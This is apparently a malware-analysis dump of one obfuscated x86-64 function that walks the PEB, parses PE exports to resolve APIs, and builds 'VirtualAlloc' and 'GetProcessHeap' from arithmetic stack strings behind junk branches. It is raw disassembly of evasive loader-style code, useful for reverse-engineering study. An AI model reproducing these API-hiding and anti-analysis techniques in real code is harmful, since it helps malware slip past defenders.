Function at 0x1800116e4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rax
xor rax, rax
inc rax
test rax, rax
je 0x180012006
pop rax
push rcx
xor rcx, rcx
test rcx, rcx
jne 0x18001182f
inc rcx
test rcx, rcx
je 0x180011c33
pop rcx
push rbx
push rbp
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 8
mov rbp, rsp
cmp rdx, 1
jne 0x18001345b
mov r13, rdx
sub rsp, 0x20
mov rbx, rcx
xor rax, rax
mov rcx, rbp
sub rcx, rsp
mov rdi, rsp
rep stosb byte [rdi], al
mov rcx, rbx
mov rax, 0x5a
add rax, 6
mov rbx, qword gs:[rax]
mov rax, SafeArrayGetElement
add rax, 4
mov rbx, qword [rbx + rax]
mov rax, 0x1e
add rax, 2
mov rbx, qword [rbx + rax]
mov r12, rbx
mov r15, 0x3c
add r15, 4
mov rdx, qword [rbx + r15]
mov r15, 0x46
add r15, 5
cmp byte [rdx + 0x28], r15b
je 0x1800117ad
mov r15, 0x64
add r15, 7
cmp byte [rdx + 0x28], r15b
je 0x1800117ad
jmp 0x180011859
mov r15, 0x3c
add r15, 9
cmp byte [rdx + 0x30], r15b
je 0x1800117d4
mov r15, 0x64
add r15, 1
cmp byte [rdx + 0x30], r15b
je 0x1800117d4
jmp 0x180011859
mov r15, 0x46
add r15, 6
cmp byte [rdx + 0x32], r15b
je 0x1800117f8
mov r15, 0x64
add r15, 8
cmp byte [rdx + 0x32], r15b
je 0x1800117f8
jmp 0x180011859
mov r15, 0x2d
add r15, 5
cmp byte [rdx + 0x36], r15b
je 0x18001180b
jmp 0x180011859
mov r15, 0x46
add r15, 6
cmp byte [rdx + 0x3c], r15b
je 0x18001182f
mov r15, 0x64
add r15, 8
cmp byte [rdx + 0x3c], r15b
je 0x18001182f
jmp 0x180011859
mov r15, 0x46
add r15, 6
cmp byte [rdx + 0x3e], r15b
je 0x180011853
mov r15, 0x64
add r15, 8
cmp byte [rdx + 0x3e], r15b
je 0x180011853
jmp 0x180011859
mov rbx, qword [rbx + 0x20]
jmp 0x180011865
mov rbx, qword [rbx]
cmp r12, rbx
jne 0x180011777
mov qword [rbp - 8], rbx
xor r8, r8
mov r8d, dword [rbx + 0x3c]
mov rdx, r8
add rdx, rbx
mov r8d, dword [rdx + 0x88]
add r8, rbx
xor rsi, rsi
mov esi, dword [r8 + 0x20]
add rsi, rbx
xor rcx, rcx
movabs r9, 0x7bc1201ab9cac5
movabs rax, 0x40e7ae5235ba9a82
add r9, rax
inc rcx
xor rax, rax
mov eax, dword [rsi + rcx*4]
add rax, rbx
cmp qword [rax], r9
jne 0x1800118a4
xor rsi, rsi
mov esi, dword [r8 + 0x24]
add rsi, rbx
mov cx, word [rsi + rcx*2]
xor rsi, rsi
mov esi, dword [r8 + 0x1c]
jo 0x1800118e6
add rsi, rbx
xor rdx, rdx
mov edx, dword [rsi + rcx*4]
add rdx, rbx
mov qword [rbp - 0x10], rdx
sub rsp, 0x100
mov rdi, rsp
add rdi, 0x10
mov al, 0x24
add al, 0x32
mov byte [rdi], al
mov al, 0x1a
add al, 0x4f
mov byte [rdi + 1], al
mov al, 0x36
add al, 0x3c
mov byte [rdi + 2], al
mov al, 0x40
add al, 0x34
mov byte [rdi + 3], al
mov al, 0x4a
add al, 0x2b
mov byte [rdi + 4], al
push rax
xor rax, rax
inc rax
test rax, rax
je 0x180013437
pop rax
push rcx
xor rcx, rcx
test rcx, rcx
jne 0x180011966
inc rcx
test rcx, rcx
je 0x18001249b
pop rcx
mov al, 0x4c
add al, 0x15
mov byte [rdi + 5], al
mov al, 0x26
add al, 0x46
mov byte [rdi + 6], al
mov al, 0x34
add al, 0xd
mov byte [rdi + 7], al
mov al, 0x56
add al, 0x16
mov byte [rdi + 8], al
mov al, 0x55
add al, 0x17
mov byte [rdi + 9], al
mov al, 0x50
add al, 0x1f
mov byte [rdi + 0xa], al
mov al, 0x4f
add al, 0x14
mov byte [rdi + 0xb], al
mov byte [rdi + 0xc], 0
mov rcx, qword [rbp - 8]
mov rdx, rdi
sub rsp, 0x20
lea rax, [0x18001197f]
push rax
mov rax, qword [rbp - 0x10]
jmp rax
push rbx
push rbp
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 8
mov rbp, rsp
sub rsp, 0x20
mov rbx, rcx
xor rax, rax
mov rcx, rbp
sub rcx, rsp
mov rdi, rsp
rep stosb byte [rdi], al
mov rcx, rbx
mov r12, qword [rcx]
mov r15, qword [rcx + 8]
mov r13, qword [rcx + 0x10]
mov rbx, qword [rcx + 0x18]
mov r14, rcx
mov al, 0x2d
add al, 0x1a
mov byte [r14], al
mov al, 0x1a
add al, 0x4b
mov byte [r14 + 1], al
mov al, 0x42
add al, 0x32
mov byte [r14 + 2], al
mov al, 0x29
add al, 0x27
mov byte [r14 + 3], al
mov al, 0x14
add al, 0x5e
mov byte [r14 + 4], al
mov al, 0x6e
add al, 1
mov byte [r14 + 5], al
mov al, 0x2d
add al, 0x36
mov byte [r14 + 6], al
mov al, 0xf
add al, 0x56
mov byte [r14 + 7], al
mov al, 0x58
add al, 0x1b
mov byte [r14 + 8], al
mov al, 0x60
add al, 0x13
mov byte [r14 + 9], al
mov al, 0x39
add al, 0xf
mov byte [r14 + 0xa], al
mov al, 0xe
add al, 0x57
mov byte [r14 + 0xb], al
mov al, 0x53
add al, 0xe
mov byte [r14 + 0xc], al
mov al, 0x2a
add al, 0x46
mov byte [r14 + 0xd], al
mov byte [r14 + 0xe], 0
mov rcx, r15
mov rdx, r14
sub rsp, 0x20
lea rax, [0x180011cf9]
push rax
jmp r13
add rsp, 0x20
mov r12, rax
sub rsp, 8
mov rcx, qword [rbp - 8]
mov rdx, r14
mov r8, 0xf4240
lea r9, [rbp - 0x10]
push 0
sub rsp, 0x20
lea rax, [0x180012034]
push rax
jmp r12
add rsp, 0x20
add rsp, 0x10
jmp r14
add rsp, 0x20
mov r12, rax
mov rcx, 0xffffffffffffffff
xor rdx, rdx
sub rsp, 0x20
lea rax, [0x180013457]
push rax
jmp r12
mov rsp, rbp
add rsp, 8
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbp
pop rbx
mov rax, 1
ret